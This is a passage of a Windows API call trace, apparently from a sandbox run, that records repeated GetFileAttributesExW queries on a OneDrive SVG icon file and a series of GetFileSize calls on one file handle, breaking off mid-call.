lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.065] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.065] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.065] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.066] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.066] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.066] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.070] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0222.211] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x184 [0222.430] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x127 [0222.621] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x108 [0222.840] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x6c7 [0222.974] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7e75 [0223.095] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x31d [0223.425] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x123 [0223.593] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x79b [0223.794] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5031 [0223.836] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3100 [0223.882] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x172e [0223.981] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2ce [0224.111] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1b0 [0224.305] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1d50 [0224.411] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa54 [0224.568] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x46c [0224.674] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3db [0224.783] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x390 [0224.840] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1137 [0224.893] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x56d [0224.951] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x56f [0225.060] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2ab4 [0225.117] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x12c7 [0225.170] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x72d [0225.258] GetFileSize (in: hFile=0x4c4, 